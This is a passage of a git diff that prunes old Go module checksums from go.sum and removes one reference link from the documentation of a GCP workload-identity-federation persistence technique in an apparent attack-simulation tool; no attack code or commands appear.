h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8= golang.org/x/oauth2 v0.29.0 h1:WdYw2tdTK1S8olAzWHdgeqfy+Mtm9XNhv/xJsY65d98= golang.org/x/oauth2 v0.29.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -476,8 +461,6 @@ golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.28.0 h1:rhazDwis8INMIwQ4tpjLDzUhx6RlXqZNPEM0huQojng= golang.org/x/text v0.28.0/go.mod h1:U8nCwOR8jO/marOQ0QbDiOngZVEBB7MAiitBuMjXiNU= -golang.org/x/time v0.9.0 h1:EsRrnYcQiGH+5FfbgvV4AP7qEZstoyrHB0DzarOQ4ZY= -golang.org/x/time v0.9.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/time v0.11.0 h1:/bpjEDfN9tkoN/ryeYHnv5hcMlc8ncjMcM4XBk5NWV0= golang.org/x/time v0.11.0/go.mod h1:CDIdPxbZBQxdj6cxyCIdrNogrJKMJ7pr37NYpMcMDSg= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -494,8 +477,6 @@ golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8T golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -google.golang.org/api v0.218.0 h1:x6JCjEWeZ9PFCRe9z0FBrNwj7pB7DOAqT35N+IPnAUA= -google.golang.org/api v0.218.0/go.mod h1:5VGHBAkxrA/8EFjLVEYmMUJ8/8+gWWQ3s4cFH0FxG2M= google.golang.org/api v0.230.0 h1:2u1hni3E+UXAXrONrrkfWpi/V6cyKVAbfGVeGtC3OxM= google.golang.org/api v0.230.0/go.mod h1:aqvtoMk7YkiXx+6U12arQFExiRV9D/ekvMCwCd/TksQ= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= @@ -506,19 +487,13 @@ google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEY google.golang.org/genproto v0.0.0-20201019141844-1ed22bb0c154/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20250122153221-138b5a5a4fd4 h1:Pw6WnI9W/LIdRxqK7T6XGugGbHIRl5Q7q3BssH6xk4s= google.golang.org/genproto v0.0.0-20250122153221-138b5a5a4fd4/go.mod h1:qbZzneIOXSq+KFAFut9krLfRLZiFLzZL5u2t8SV83EE= -google.golang.org/genproto/googleapis/api v0.0.0-20250124145028-65684f501c47 h1:5iw9XJTD4thFidQmFVvx0wi4g5yOHk76rNRUxz1ZG5g= -google.golang.org/genproto/googleapis/api v0.0.0-20250124145028-65684f501c47/go.mod h1:AfA77qWLcidQWywD0YgqfpJzf50w2VjzBml3TybHeJU= google.golang.org/genproto/googleapis/api v0.0.0-20250218202821-56aae31c358a h1:nwKuGPlUAt+aR+pcrkfFRrTU1BVrSmYyYMxYbUIVHr0= google.golang.org/genproto/googleapis/api v0.0.0-20250218202821-56aae31c358a/go.mod h1:3kWAYMk1I75K4vykHtKt2ycnOgpA6974V7bREqbsenU= -google.golang.org/genproto/googleapis/rpc v0.0.0-20250115164207-1a7da9e5054f h1:OxYkA3wjPsZyBylwymxSHa7ViiW1Sml4ToBrncvFehI= -google.golang.org/genproto/googleapis/rpc v0.0.0-20250115164207-1a7da9e5054f/go.mod h1:+2Yz8+CLJbIfL9z73EW45avw8Lmge3xVElCP9zEKi50= google.golang.org/genproto/googleapis/rpc v0.0.0-20250414145226-207652e42e2e h1:ztQaXfzEXTmCBvbtWYRhJxW+0iJcz2qXfd38/e9l7bA= google.golang.org/genproto/googleapis/rpc v0.0.0-20250414145226-207652e42e2e/go.mod h1:qQ0YXyHHx3XkvlzUtpXDkS29lDSafHMZBAZDc03LQ3A= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= -google.golang.org/grpc v1.70.0 h1:pWFv03aZoHzlRKHWicjsZytKAiYCtNS0dHbXnIdq7jQ= -google.golang.org/grpc v1.70.0/go.mod h1:ofIJqVKDXx/JiXrwr2IG4/zwdH9txy3IlF40RmcJSQw= google.golang.org/grpc v1.72.0 h1:S7UkcVa60b5AAQTaO6ZKamFp1zMZSU0fGDK2WZLbBnM= google.golang.org/grpc v1.72.0/go.mod h1:wH5Aktxcg25y1I3w7H69nHfXdOG3UiadoBtjh3izSDM= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= @@ -531,8 +506,6 @@ google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpAD google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.36.4 h1:6A3ZDJHn/eNqc1i+IdefRzy/9PokBTPvcqMySR7NNIM= -google.golang.org/protobuf v1.36.4/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE= google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY= google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= diff --git a/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go b/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go index 7a16e201e..f8629ae6a 100644 --- a/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go +++ b/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go @@ -66,7 +66,6 @@ References: - https://cloud.google.com/iam/docs/workload-identity-federation-with-x509-certificates - https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools - https://www.tenable.com/blog/how-attackers-can-exploit-gcps-multicloud-workload-solution -- https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse `, Detection: ` Identify when a Workload Identity Federation pool or provider is created by